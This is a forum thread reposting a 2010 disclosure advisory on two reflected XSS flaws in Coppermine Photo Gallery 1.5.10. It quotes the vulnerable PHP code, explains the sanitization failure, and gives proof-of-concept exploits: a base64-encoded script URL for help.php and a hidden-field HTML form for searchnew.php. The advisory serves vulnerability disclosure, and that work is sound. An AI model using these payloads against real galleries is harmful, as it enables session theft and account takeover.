Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 20, 2025 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 172 Members: 0 Total: 172 Full disclosure CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS apis.google.com - Insecure redirect via __lu parameter(exploited in the wild) Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) [SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal [SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files CVE-2025-59397 - Open Web Analytics SQL Injection Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? 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Secure Enclave Key Theft, Wormable RCE, Crypto Theft Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow IT Security and Insecurity Portal www.waraxe.us Forum Index -> Coppermine Photo Gallery -> [waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10 View previous topic :: View next topic [waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10 Posted: Tue Dec 28, 2010 8:55 am waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Fresh security advisory is out: http://www.waraxe.us/advisory-79.html Code: [waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10 ============================================================================== Author: Janek Vind "waraxe" Date: 28. December 2010 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-79.html Affected Software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. http://coppermine-gallery.net/ Affected versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tests were conducted against Coppermine version 1.5.10. Research showed, that all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well. ############################################################################### 1. Reflected XSS in "help.php" ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Attack vector: user submitted GET parameters "h" and "t" Preconditions: none Source code snippet from vulnerable script "help.php": -----------------[ source code start ]--------------------------------- if ($superCage->get->keyExists('base')) { $base = $superCage->get->getInt('base'); ... if ($superCage->get->keyExists('h')) { $header = $superCage->get->getEscaped('h'); ... if ($superCage->get->keyExists('t')) { $text = $superCage->get->getEscaped('t'); ... if ($base != '') { // content of header and text have been base64-encoded - decode it now $header = @unserialize(@base64_decode($header)); $text = @unserialize(@base64_decode($text)); } ... if ($header != '') { $content = '<h1>'.$header.'</h1>'; $content .= $text; ... echo <<< EOT <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ... <div id="cpg_main_block"> $string $content -----------------[ source code end ]----------------------------------- As seen above, user-provided data is base64 decoded and then used for html output. No sanitization of potentially dangerous data, therefore Reflected XSS security vulnerability exists in specific php script. Example exploit: http://localhost/cpg.1.5.10/help.php?base=1 &h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs &t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7 ############################################################################### 2. Reflected XSS in "searchnew.php" ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Attack vector: user submitted POST parameter "picfile_*" Preconditions: 1. user must be logged in as Coppermine admin 2. XSS payload charset is somewhat limited, little bit of creativity needed Source code snippet from vulnerable script "searchnew.php": -----------------[ source code start ]--------------------------------- if (!GALLERY_ADMIN_MODE) { cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__); ... if ($superCage->post->keyExists('insert')) { if ($superCage->post->keyExists('pics')){ $pics = $superCage->post->getAlnum('pics'); ... foreach ($pics as $pic_id) { ... $picfile = $superCage->post->getAlnum('picfile_'.$pic_id); $pic_file = base64_decode($picfile); ... $file_name = basename($pic_file); ... echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>' -----------------[ source code end ]----------------------------------- As seen above, user-provided POST parameter "pics_*" is base64 decoded and then processed by php function basename(). Finally it is used for html output. As in previous vulnerability, attacker is able to use base64 encoding for XSS payload obfuscation. What differs from previous case, is the use of basename() function. Thanks to this function, XSS payload charset is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable. Example exploit (Coppermine admin privileges needed): ----------------------------------------------------------------------- <html><body><center> <form action="http://localhost/cpg.1.5.10/searchnew.php" method="post"> <input type="hidden" name="insert" value="1"> <input type="hidden" name="pics[]" value="222"> <input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg"> <input type="submit" value="Test!"> </form> </center></body></html> ----------------------------------------------------------------------- Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb, vince213333, to all active waraxe.us forum members and to anyone else who know me! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ Posted: Tue Dec 28, 2010 1:17 pm pexli Valuable expert Joined: May 24, 2007 Posts: 665 Location: Bulgaria Waraxe проснулся из зимнего сна.))))))))) Posted: Tue Dec 28, 2010 1:35 pm VERTIGO Advanced user Joined: Sep 25, 2008 Posts: 87 Good work waraxe Posted: Tue Jan 04, 2011 10:36 pm julioisaias Valuable expert Joined: Jan 25, 2008 Posts: 50 Great waraxe... _________________ I study enough to make the rest a result. [waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10 www.waraxe.us Forum Index -> Coppermine Photo Gallery You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

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